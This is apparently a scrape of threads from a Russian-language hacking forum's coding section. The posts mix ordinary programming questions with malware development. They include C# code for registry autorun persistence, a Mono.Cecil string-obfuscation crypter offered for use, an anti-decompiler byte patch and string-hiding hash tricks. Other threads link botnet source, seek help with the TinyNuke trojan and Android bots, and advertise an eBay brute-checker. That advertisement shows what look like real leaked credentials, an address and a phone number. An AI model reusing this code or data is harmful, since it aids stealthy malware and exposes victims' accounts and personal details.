Собственно вопрос как узнать минимальную версию винды на которой запустится exe?

В вижуал студии есть 2 тулсета(v142, v141_xp)
В комплекте со студией идет отдельная командная строка для нее, там есть команда вида:
dumpbin /headers some.exe
В выводе есть "OPTIONAL HEADER VALUES", а в них есть "operating system version" и "subsystem version", если собирать с v142 тулсетом, то оба "operating system version" и "subsystem version" равны "6.0", если с v141_xp, то они равны "5.01", если предположить что это NT версии винды, то 6.0 это Vista и Server 2008, а 5.01 - XP и Server 2003

являются ли эти значения минимальной версией винды, на которой может запустится экзешник или нет? Если нет, то вопрос остается в силе.

Немножко Compile-Time вычислений
ID: 6765d804b4103b69df375a92
Thread ID: 34578
Created: 2020-01-25T06:58:58+0000
Last Post: 2020-01-25T07:28:21+0000
Author: PlebsoVata
Prefix: Статья
Replies: 1 Views: 2K

Начал разбираться с compile-time вычислениями в С++. Написал такой код для хэширования(crc32) строчки:

Spoiler: Код

C++:Copy to clipboard

constexpr inline size_t str_bytes(const char* str)
{
    size_t val = 0;
    while (*str != NULL)
        ++val, ++str;
    return val;
}

static uint32_t constexpr crc32_tab[] = {
    0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
    0xe963a535, 0x9e6495a3,    0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
    0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
    0xf3b97148, 0x84be41de,    0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
    0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,    0x14015c4f, 0x63066cd9,
    0xfa0f3d63, 0x8d080df5,    0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
    0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,    0x35b5a8fa, 0x42b2986c,
    0xdbbbc9d6, 0xacbcf940,    0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
    0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
    0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
    0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,    0x76dc4190, 0x01db7106,
    0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
    0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
    0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
    0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
    0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
    0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
    0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
    0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
    0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
    0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
    0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
    0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
    0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
    0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
    0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
    0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
    0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
    0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
    0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
    0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
    0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
    0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
    0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
    0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
    0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
    0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
    0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
    0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
    0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
    0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
    0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
    0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};

constexpr inline uint32_t crc32_impl(uint32_t prevCrc, const char* str, size_t size)
{
    return !size ? prevCrc : crc32_impl((prevCrc >> 8) ^ crc32_tab[(prevCrc ^ *str) & 0xff], str + 1, size - 1);
}

constexpr inline uint32_t crc32(const char* str)
{
    return crc32_impl(0xffffffff, str, str_bytes(str)) ^ 0xffffffff;
}

template <typename Holder>
constexpr unsigned HashCalc(Holder str_holder)
{
    constexpr auto str = str_holder();
    constexpr unsigned hash = crc32(str);
    return hash;
}

template <typename Holder>
constexpr unsigned HelperFunc(Holder hash_holder)
{
    constexpr auto hash = hash_holder();
    return hash;
}


#define Lambda(str) HelperFunc( [] { return HashCalc([](){ return str; }) ; } )
#define Lambda_No_Helper(str) HashCalc([](){ return str; })

Это мой main:

C++:Copy to clipboard

int main()
{
    constexpr auto hashi = Lambda("UEFI");
    auto NewHash = Lambda("invisible string");
    auto NewHash1 = Lambda_No_Helper("visible string");

    return NewHash;
}

Я хочу посчитать хэш строчки в компайл-тайме, чтобы сама строка в бинарнике вообще не оставалась.
Но опять же constexpr не дает гарантий что все выполнится в компайл-тайме, он только попробует, а если не сможет, то все будет выполняться в ран-тайме, компиляторы могут оставить на ран-тайм большую рекурсию, даже если теоретически могут посчитать результат.

Я все компилирую в дебаг режиме без оптимизаций, потому что смысл компайл-тайм вычислений в том, что независимо от оптимизаций все будет посчитано заранее, а в случае чего дебажить такой код и искать ошибку можно с помощью юнит тестов и static_assert'ов. В случае static_assert даже не понадобится компилировать код в студии, анализатор кода будет сразу выдавать предупреждения и ошибки, если конечно не начнет тупить.

В первом случае у меня генерится одна mov инструкция
constexpr auto hashi = Lambda("UEFI");

Во втором случае дохуя инструкций, наша лямбда сохраняется как объект в памяти, но хэш посчитан, самой строчки в памяти нет и наша переменная не constexpr
auto NewHash = Lambda("invisible string");
Вот сгенеренный студией асм:

Code:Copy to clipboard

 xor         eax,eax 
 mov         byte ptr [ebp-101h],al 
 movzx       ecx,byte ptr [ebp-101h] 
 push        ecx 
 call        HelperFunc<<lambda_e0a925145e7fb86677c7a8381733ecbb> > (0C3B710h) 
 add         esp,4 
 mov         dword ptr [NewHash],eax

Внутри HelperFunc куча мусора, но строка не хранится, сам хэш не считается, он уже посчитан в компайл-тайме и там снова по сути 1 mov инструкция

В третьем случае почему-то какой-то пиздец, есть лямбда, только другая, строчка в памяти остается(можно проверить в дизасме студии или банальном поиском в бинарнике через HxD), но при этом сам хэш посчитан в компайл-тайме(1 mov инструкция).
auto NewHash1 = Lambda_No_Helper("visible string");
Вот сгенеренный студией асм:

Code:Copy to clipboard

xor         eax,eax 
 mov         byte ptr [ebp-10Dh],al 
 movzx       ecx,byte ptr [ebp-10Dh] 
 push        ecx 
 call        HashCalc<<lambda_eb46af9cfe8c58dca019aa0153dd5821> > (0C3B6B0h) 
 add         esp,4 
 mov         dword ptr [NewHash1],eax

Вот что внутри HashCalc:

Code:Copy to clipboard

    //constexpr auto str = str_holder();
 mov         dword ptr [str],offset string "visible" (0AE4C18h) 
    //constexpr unsigned hash = crc32(str);
 mov         dword ptr [hash],25B2888Fh 
    //return hash;
 mov         eax,25B2888Fh

Например если компилировать с оптимизациями, то большинство проблем с хэшированием строк уйдут, объекты лямбд в силу их дальнейшего неиспользования в ран-тайме также уйдут, строчки не будут хранится, останется только хэш.

Но есть еще другой подход, реализацию которого я еще не смог придумать для нормальной работы со строчками и их хэшированием, поэтому покажу на примере чисел Фибоначи.

Spoiler: Новый Кот

C++:Copy to clipboard

// No-Constexpr meta programming approach
template<int I>
struct Fib
{
    static const int val = Fib<I - 1>::val + Fib<I - 2>::val;
};

template<>
struct Fib<0>
{
    static const int val = 0;
};

template<>
struct Fib<1>
{
    static const int val = 1;
};

// Constexpr meta programming approach
template<int  N>
constexpr int fibonacci() { return fibonacci<N - 1>() + fibonacci<N - 2>(); }
template<>
constexpr int fibonacci<1>() { return 1; }
template<>
constexpr int fibonacci<0>() { return 0; }


int main()
{
    auto Fib_0 = Fib<46>::val;
    constexpr auto Fib_1 = Fib<40>::val;

    auto fibonacci_0 = fibonacci<46>();
    constexpr auto fibonacci_1 = fibonacci<26>();

    return 0;
}

Здесь 2 подхода, первый без constexpr, на шаблонных структурах, второй на constexpr шаблонных функциях
Сразу скажу что первый подход обходит второй по всем пунктам.

Во-первых функция fibonacci<>() не может посчитать последовательность после 27 числа. max_input = 26.
То есть такая строчка просто не скомпилируется(по крайней у меня и с компилятором от майков, а не клангом)
constexpr auto fibonacci_1 = fibonacci<27>();
Ошибка гласит что выражение не может преобразовано в константу(LOL).
При этом же в этой строке студия выдает предупреждение C26498, в котором говорится что наша функция constexpr, пометьте переменную fibonacci_0 как constexpr, если нужно вычисление в компайл-тайме, однако это невозможно, т.к. max_input = 26.
auto fibonacci_0 = fibonacci<46>();
Также стоит отметить, что наше 46 число фибоначи будет считаться очень долго и в ран-тайме, в отличие от первого подхода.

В первом же подходе все просто, в компайл-тайме все посчиталось и стоят две mov инструкции, вот асм код для main:

Code:Copy to clipboard

    //auto Fib_0 = Fib<46>::val;
 mov         dword ptr [Fib_0],6D73E55Fh 
    //constexpr auto Fib_1 = Fib<40>::val;
 mov         dword ptr [Fib_1],6197ECBh 

    //auto fibonacci_0 = fibonacci<46>();
 call        fibonacci<46> (08E192Eh) 
 mov         dword ptr [fibonacci_0],eax 
    //constexpr auto fibonacci_1 = fibonacci<26>();
 mov         dword ptr [fibonacci_1],1DA31h 

    //return 0;
 xor         eax,eax

А на этом мое сравнение заканчивается.

Вопрос - Каковы преимущества Transactional NTFS and Registry
ID: 6765d804b4103b69df375a93
Thread ID: 34498
Created: 2020-01-21T14:06:52+0000
Last Post: 2020-01-22T12:59:48+0000
Author: PlebsoVata
Replies: 4 Views: 2K

Недавно наткнулся на хидер <ktmw32.h> и прочие, в которых есть функции CreateFileTransacted, RegCreateKeyTransacted, CreateTransaction и тд.
Каковы их преимущества и недостатки в общем и по сравнению с идентичными функциями без постфикса Transacted?

Понял что так как это все транзакционное, то здесь используется и выполняется принцип ACID(Atomicity, Consistency, Isolation, Durability).
Хочется понять в каких случаях имеет смысл юзать CreateFileTransacted, а в каких просто CreateFile, помимо того что первое работает начиная только с висты.

CryptoAPI MD5
ID: 6765d804b4103b69df375a94
Thread ID: 34503
Created: 2020-01-21T20:45:49+0000
Last Post: 2020-01-22T10:57:34+0000
Author: Paramedic
Replies: 2 Views: 2K

C:Copy to clipboard

/*
  
    Описание:

    Функция хеширует ANSI строку по алгоритму MD5, на выходе выдавая хеш в представлении UNICODE строки.

    Параметры:

    LPWSTR lpDestination - буффер, в который будет передана строка с хешем.

    LPSTR lpString - ANSI строка, которую требуется хешировать.
  
    Завершение:

    При завершении функция возвращает результат её исполнения в виде переменной типа bool.

    */

    bool MD5(LPWSTR lpDestination, LPSTR lpString)
    {
        bool bRet = false;
        WCHAR wszHash[MD5_MAX_LENGTH + 1] = { 0 };
        BYTE bHash[MD5_MAX_LENGTH / 2] = { 0 };
        DWORD dwDataLength = MD5_MAX_LENGTH;

        LPWSTR lpCharList = L"0123456789abcdef";
        LPWSTR lpFormat = L"%c%c";

        do
        {
            if (!CryptCreateHash(hProv, CALG_MD5, NULL, 0, &hHash))
            {
#ifdef __DEBUG
                DebugMessage(L"Crypt::MD5() - can't create hash.");
#endif
                break;
            }

            if (!CryptHashData(hHash, (LPBYTE)lpString, StringUtils::StringLengthA(lpString), 0))
            {
#ifdef __DEBUG
                DebugMessage(L"Crypt::MD5() - can't hash data.");
#endif
                break;
            }

            if (!CryptGetHashParam(hHash, HP_HASHVAL, bHash, &dwDataLength, 0))
            {
#ifdef __DEBUG
                DebugMessage(L"Crypt::MD5() - can't get hash value.");
#endif
                break;
            }
          
            for (int i = 0; i < dwDataLength; i++)
            {
                WCHAR wszHashPart[3] = { 0 };
              
                if (!wsprintfW(wszHashPart, lpFormat, lpCharList[bHash[i] >> 4], lpCharList[bHash[i] & 0xf]))
                {
#ifdef __DEBUG
                    DebugMessage(L"Crypt::MD5() - can't format hash part.");
#endif
                    break;
                }

                StringUtils::StringAppendW(wszHash, wszHashPart);
            }

            wszHash[MD5_MAX_LENGTH + 1] = 0;

            bRet = true;

        } while (false);

        StringUtils::StringCopyW(lpDestination, wszHash);

        return bRet;
    }
[C#] Защита от Reflector'a
ID: 6765d804b4103b69df375a96
Thread ID: 34335
Created: 2020-01-13T23:35:29+0000
Last Post: 2020-01-16T23:07:50+0000
Author: r3xq1
Replies: 4 Views: 2K

Создаём класс Protector.cs

C#:Copy to clipboard

public class Protector
{
   public static void ReplaceData(string filename, int position, byte[] data)
   {
     using (Stream stream = File.Open(filename, FileMode.Open))
     {
       stream.Position = position;
       stream.Write(data, 0, data.Length);
     }
   }
}

Используем так:

C#:Copy to clipboard

ReplaceData(filename, 0xF4, new byte[] { 0x9 });

После запуска в рефлекторе будет не читаемый файл.

c# | help me pls
ID: 6765d804b4103b69df375aba
Thread ID: 33894
Created: 2019-12-17T18:07:35+0000
Last Post: 2019-12-17T19:27:41+0000
Author: n1ppyyyy
Replies: 6 Views: 2K

Вожусь с этой проблемой уже часов 4.
Хочу добавить png картинку и сделать из нее кнопку.
Но при добавлении png картинки появляется белый фон.
1576605976459.png1576605985216.png
Как это можно исправить??

ps
я в шарпе вообще не силен, захотелось сделать красивый фейковый софт, а по скольку красиво я умею делать только в фигме, то приходится импортировать куски png в студию.

[C#] Универсальная автозагрузка в реестр
ID: 6765d804b4103b69df375a9d
Thread ID: 34346
Created: 2020-01-14T07:57:49+0000
Last Post: 2020-01-14T07:57:49+0000
Author: r3xq1
Replies: 0 Views: 2K

Написал класс для добавления программы в автозагрузку через реестр:

C#:Copy to clipboard

using Microsoft.Win32;
using System;

/* Author r3xq1 */

public class Registration
{
    private const string REG = @"Software\Microsoft\Windows\CurrentVersion\Run";

    public static void Inizialize(bool enable, string name, string localpath)
    {
       try
       {
           RegistryHive registryHive = RunChecker.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser;
           RegistryView registryView = RunChecker.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32;

           using (var registry = RegistryKey.OpenBaseKey(registryHive, registryView))
           {
               using (RegistryKey runKey = registry.OpenSubKey(REG, RunChecker.IsWin64))
               {
                  if (!enable)
                  {
                     try
                     {
                        runKey?.DeleteValue(name);
                     }
                     catch { }
                  }
                  else
                  {
                     try
                     {
                        runKey?.SetValue(name, localpath);
                     }
                     catch { }
                  }
               }
            }
        }
        catch (Exception) { }
    }
}

Класс для проверки админ прав и битность системы

C#:Copy to clipboard

using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;

public class RunChecker
{
    public static bool IsAdmin => new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
    public static bool IsWin64 => Environment.Is64BitOperatingSystem ? true : false;
}

Использовать очень просто

Добавить в реестр: Registration.Inizialize(true, "Test", @"D:\AntiWinlocker.exe");
Удалить из реестра: Registration.Inizialize(false, "Test", @"D:\AntiWinlocker.exe");

Проверим что всё работает

Spoiler: Запуск без Админ прав

1578988578315.png

Spoiler: Запуск с Админ правами

1578988623938.png

По стандарту можно сделать так:

C#:Copy to clipboard

public static void Standart(string regpath, string name, string path_to_file)
{
   try
   {
      using (RegistryKey key = Registry.CurrentUser.OpenSubKey(regpath, true))
      {
         try
         {
            key.SetValue(name, path_to_file);
         }
         catch (Exception) { }
      }
   }
   catch (Exception) { }
}

Используется так:

C#:Copy to clipboard

Standart(@"Software\Microsoft\Windows\CurrentVersion\Run", "Test", @"D:\AntiWinlocker.exe"); // Разумеется используйте свои данные.
Шифрование строк через Mono Cecil
ID: 6765d804b4103b69df375aa6
Thread ID: 34334
Created: 2020-01-13T23:28:42+0000
Last Post: 2020-01-13T23:28:42+0000
Author: r3xq1
Replies: 0 Views: 2K

Код для шифрования:

C#:Copy to clipboard

/* Author r3xq1 */
namespace MonoStringObf
{
    using System;
    using System.Collections.Generic;
    using System.Windows.Forms;
    using Mono.Cecil;
    using Mono.Cecil.Cil;

    public class Obfuscation
    {
        private static string Encode(string str) => Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str));

        private static MethodDefinition InjectDecrypter(AssemblyDefinition AssemblyDef)
        {
            foreach (ModuleDefinition ModuleDef in AssemblyDef.Modules)
            {
                foreach (TypeDefinition TypeDef in ModuleDef.GetTypes())
                {
                    if (TypeDef.Name.Equals("<Module>"))
                    {
                        MethodDefinition MethodDef = CreateDecrypter(AssemblyDef);
                        TypeDef.Methods.Add(MethodDef);
                        return MethodDef;
                    }
                }
            }
            throw new Exception("Decrypter not injected.");
        }

        private static void Encrypt(AssemblyDefinition AssemblyDef, MethodDefinition MD, string filename)
        {
            foreach (ModuleDefinition ModuleDef in AssemblyDef.Modules)
            {
                foreach (TypeDefinition TypeDef in ModuleDef.GetTypes())
                {
                    foreach (MethodDefinition MethodDef in TypeDef.Methods)
                    {
                        if (MethodDef.HasBody)
                        {
                            ILProcessor ilp = MethodDef.Body.GetILProcessor();

                            for (int i = 0; i < MethodDef.Body.Instructions.Count; i++)
                            {
                                Instruction InstructionDef = MethodDef.Body.Instructions[i];
                                if (InstructionDef.OpCode == OpCodes.Ldstr)
                                {
                                    InstructionDef.Operand = Encode(InstructionDef.Operand.ToString());
                                    ilp.InsertAfter(InstructionDef, Instruction.Create(OpCodes.Call, MD));
                                }
                            }
                        }
                    }
                }
            }
            AssemblyDef.Write(filename);
        }

        private static MethodDefinition CreateDecrypter(AssemblyDefinition AssemblyDef)
        {
            var Decrypt = new MethodDefinition("Decrypt", MethodAttributes.Public | MethodAttributes.Static, AssemblyDef.MainModule.ImportReference(typeof(string)));
            Decrypt.Parameters.Add(new ParameterDefinition(AssemblyDef.MainModule.ImportReference(typeof(string))));
            var Body = new List<Instruction>
            {
                Instruction.Create(OpCodes.Call, AssemblyDef.MainModule.ImportReference(typeof(System.Text.Encoding).GetMethod("get_UTF8"))),
                Instruction.Create(OpCodes.Ldarg_0),
                Instruction.Create(OpCodes.Call, AssemblyDef.MainModule.ImportReference(typeof(System.Convert).GetMethod("FromBase64String", new Type[] { typeof(string) }))),
                Instruction.Create(OpCodes.Callvirt, AssemblyDef.MainModule.ImportReference(typeof(System.Text.Encoding).GetMethod("GetString", new Type[] { typeof(byte[]) }))),
                Instruction.Create(OpCodes.Ret)
            };

            foreach (Instruction Instr in Body)
            {
                Decrypt.Body.Instructions.Add(Instr);
            }

            return Decrypt;
        }

        public static bool Inizialize(string filepath, string outputfilename)
        {
            try
            {
                using (var AssemblyDef = AssemblyDefinition.ReadAssembly(filepath))
                {
                    Encrypt(AssemblyDef, InjectDecrypter(AssemblyDef), outputfilename);
                    MessageBox.Show("Файл успешно зашифрован!");
                    return true;
                }
            }
            catch { MessageBox.Show("Не смогли зашифровать."); return false; }
        }
    }
}

Используется так:

C#:Copy to clipboard

Obfuscation.Inizialize(this.FileBoxPath.Text, $"{this.OutPutBox.Text}.exe"); // this.OutPutBox.Text - Текстбокс

Выглядит это всё так:

1575996651535.png
После шифрования текст выглядит так: ( Файл не ломается )

1575996671465.png

Ну и конечноe выложу готовый шифровальщик: используйте для своих нужд.
Ссылка на архив: Mono String Obfuscation
Доп ссылка на архив: Yandex- Disk

С++ и COM
ID: 6765d804b4103b69df375aa7
Thread ID: 34242
Created: 2020-01-08T15:44:36+0000
Last Post: 2020-01-08T17:18:27+0000
Author: Paramedic
Replies: 3 Views: 2K

пришлось поработать с COM обьектом ITaskService. суть в том, что пытаюсь сделать следующее:

C++:Copy to clipboard

            if (!SUCCEEDED(ITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t())))
            {
                break;
            }

Но в итоге получаю ошибки:

Error 2 error LNK2001: unresolved external symbol __EH_prolog xxx\com.obj
Error 3 error LNK2001: unresolved external symbol ___CxxFrameHandler3 xxx\com.obj

Click to expand...

подскажите пожалуйста, как это лечится. необходимые либы - подключены ( taskschd, comsupp ), соотв. инклуды тоже. спасибо.

CUDA + OpenCL = GPU + HASH = Brute Attack?
ID: 6765d804b4103b69df375aab
Thread ID: 34201
Created: 2020-01-05T09:33:58+0000
Last Post: 2020-01-06T11:47:26+0000
Author: merdock
Replies: 8 Views: 2K

Кто хоть раз делал на нативном уровне перебор хеша через GPU с использованием CUDA для NVIDIA и OpenCL для AMD на нативном уровне через nvml.dll и atiadlxx.dll соответственно с использованием внешних функций cpp npp.

Имею приблизительное понимание и пару примеров сделал, но до конца не разобрался, может у кого есть простые примеры для теста, чтобы уловить суть методики на c++ или delphi? Вообще кто нить разбирался с этим более подробно?

C# сканер ип медленный
ID: 6765d804b4103b69df375aac
Thread ID: 34188
Created: 2020-01-04T17:16:17+0000
Last Post: 2020-01-04T23:10:29+0000
Author: Haze
Replies: 5 Views: 2K

Добрый день! Имею программу-сканер ип на модель роутера. Перебирает ип лист и при нахождении нужной модели выписывает ее в отдельный файл.
Такой вопрос: программа работает уверенно, но не так быстро как хотелось бы!
Возможно ли проблема в провайдере? Слышал что есть специальные хостинги под скан - это могло бы улучшить дело?
Но я подразумеваю, что в процессе скана например 192.0.0.0-192.999.9.9 моя программа к концу первого диапазона 192.0.0.0 прибавляет 1 - 192.0.0.1, и так пока не доберется до 192.999.9.9, каждое ип сканируется через фор после прибавления на модель роутера.
Что можно сделать для ускорения процесса?

brute-cheker EBAY
ID: 6765d804b4103b69df375aad
Thread ID: 34170
Created: 2020-01-03T11:24:48+0000
Last Post: 2020-01-04T08:38:08+0000
Author: колорадо
Replies: 2 Views: 2K

Screenshot_7.png
Продам brute-cheker EBAY хорошая скорость рабоет на socks5-4
Log type :

Authorization: jguiness@hotmail.co.uk:cliokia1993
UserID: traeytony
Address: 150 cherry orchard road birmingham, West Midlands b20 2ng United Kingdom +44 01212405407
Country: GB
Feedback score: 23
Seller: No
PayPal: No
Credit CC: No

telegram;@Ebaysoft skype;live:ypravila

Sell brute-cheker EBAY good speed running on socks5-4

Ищу исходники любого полезного софта. Си.
ID: 6765d804b4103b69df375acc
Thread ID: 32649
Created: 2019-10-22T07:43:35+0000
Last Post: 2019-11-11T16:15:10+0000
Author: k11
Replies: 5 Views: 2K

Доброго времени суток уважаемые форумчане, как старички так и новобранцы (=
Собсна, суть моего топика видна в заголовке, но важен такой момент.. "я только учусь" по этому, нужны такие исходники, которые я смогу осилить, дабы не разочароваться в своих силах и навыках.

Так же приветствуется любая критика и помощь, если у вас есть время / желание.
Возможно где-то я не усмотрел тем с подобными запросами, буду признателен за линки.

p.s
возможно, ошибся с разделом, если так - перенесите в нужный, не в службу ^^

[Source C++] BearLdr (botnet with c&c)
ID: 6765d804b4103b69df375acd
Thread ID: 32772
Created: 2019-10-27T14:06:41+0000
Last Post: 2019-10-27T14:06:41+0000
Author: Nordman
Replies: 0 Views: 2K

Hidden content for authorized users.

[ [Source C++] BearLdr (botnet with c&c in ViKontakt).zip - AnonFiles

](https://anonfile.com/wds062v5b5/_Source_C_BearLdr_botnet_with_c_c_in_ViKontakt_zip)

anonfile.com anonfile.com

Снятие VMProtect с DLL файла и снятие простой защиты (помогите)
ID: 6765d804b4103b69df375ad2
Thread ID: 29224
Created: 2019-05-10T19:13:51+0000
Last Post: 2019-10-17T18:44:12+0000
Author: Shkila
Replies: 4 Views: 2K

Нужна помощь в снятии VMProtect и снятии простой защиты.
Сам я ничего в этом не понимаю вот и ищу помощь у добрых людей.
Дискорд ( ГлавШкила#1886 ) для связи или отписывайте в теме.
VK

Android malware
ID: 6765d804b4103b69df375ad4
Thread ID: 31180
Created: 2019-08-19T16:11:46+0000
Last Post: 2019-10-14T15:49:42+0000
Author: ananasik
Replies: 5 Views: 2K

Всем привет! Заинтересовала разработка малвари под андроид. В общем и целом почитал, что и как... Но может кто-нибудь подкинет годных статей для изучения?

del
ID: 6765d804b4103b69df375ad5
Thread ID: 32474
Created: 2019-10-13T19:54:49+0000
Last Post: 2019-10-13T19:54:49+0000
Author: n1ppyyyy
Replies: 0 Views: 2K

del

расшифровать md5
ID: 6765d804b4103b69df375ad9
Thread ID: 32327
Created: 2019-10-07T16:00:11+0000
Last Post: 2019-10-07T23:00:39+0000
Author: Uroborus
Replies: 8 Views: 2K

пара хэшей
e5ce6b5f12b5a9d8673ec6a7b1faa18c:j85sQqcJBmNS6FoZXPYDlw1qBNwea5am
aa7ce361b70adc4f374e31833cd3c271:vPODqLv4YNF2vXctliIHQJghTO1gOKxL

или может кто подсказать платные сервисы?

Вопрос работе с email на android
ID: 6765d804b4103b69df375add
Thread ID: 31437
Created: 2019-08-30T13:59:47+0000
Last Post: 2019-09-30T11:45:55+0000
Author: jorah
Replies: 4 Views: 2K

Вообщем смотрел функционал многих ботов, но очень редко где встречается работа с email
Вот к примеру обзорчик по ботам [тынц](https://github.com/wishihab/Android- RATList)
Посему хочу спросить есть ли возможность парсить, удалять, отправлять через дефолтный email клиент ?

Активный запуск приложений android
ID: 6765d804b4103b69df375ae3
Thread ID: 30672
Created: 2019-07-27T17:57:18+0000
Last Post: 2019-09-23T13:14:50+0000
Author: soldxqe
Replies: 1 Views: 2K

Всем привет.Как узнать запущено приложение на Android или нет? Например ватсап телеграм,в каком приложение вводиться текст. Есть набросок простенький кастомной клавиатуры, пишет лог в фаил, но пишет всё подряд без определения. Подскажите где искать более менее актуальную инфу.Если есть кто хочет влиться по изучать, милости прошу. Добьёмся своего - будем помогать таким же новичкам как мы. Не проходите мимо.

Android-проект/Android project
ID: 6765d804b4103b69df375ae4
Thread ID: 30820
Created: 2019-08-02T22:57:10+0000
Last Post: 2019-09-23T13:10:22+0000
Author: ceancorp
Replies: 2 Views: 2K

Я ищу разработчика для Android проекта, у меня есть хороший бюджет для этого!

I'm looking for a developer for the Android project, I have a good budget for this!

jabber: Succubu@exploit.im
Telegram: ceancorp

Проблема компиляции apk
ID: 6765d804b4103b69df375ae5
Thread ID: 31277
Created: 2019-08-23T11:19:37+0000
Last Post: 2019-09-23T13:09:27+0000
Author: teditmek
Replies: 9 Views: 2K

Привет. У меня проблема с компиляцией apk, именно с ботом xerxes. Я получаю сообщение об ошибке при попытке компиляции\

Code:Copy to clipboard

I: Using Apktool 2.4.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
S: WARNING: Could not write to (C:\Users\user\AppData\Local\apktool\framework), using C:\Users\user\AppData\Local\Temp\ instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = -1073741515): [C:\Users\user\AppData\Local\Temp\brut_util_Jar_4456968671662166243.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 21, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, C:\Users\user\AppData\Local\Temp\APKTOOL256819758087216239.tmp, -0, arsc, -0, png, -0, arsc, -I, C:\Users\user\AppData\Local\Temp\1.apk, -S, C:\Users\user\Desktop\app\res, -M, C:\Users\user\Desktop\app\AndroidManifest.xml]
Помогите разобраться с TinyNuke
ID: 6765d804b4103b69df375ae6
Thread ID: 31614
Created: 2019-09-08T19:42:55+0000
Last Post: 2019-09-10T07:01:25+0000
Author: glasalmaz
Replies: 7 Views: 2K

Здравствуйте ребята,решил вообщем разобраться с TinyNuke ...Установил на виртуалке denwer добавил туда папку с panel .Дальше по инструкции запустил TinyNuke.sln и изменил Strs::host[0] = ENC_STR_A"127.0.0.1"END_ENC_STR; Strs::host[1] = ENC_STR_A"backup-server"END_ENC_STR; Strs::host[2] = 0; После чего попытался получить бинарники которые нужно добавить в setting.php но у меня повыскакивали ошибки tn.png

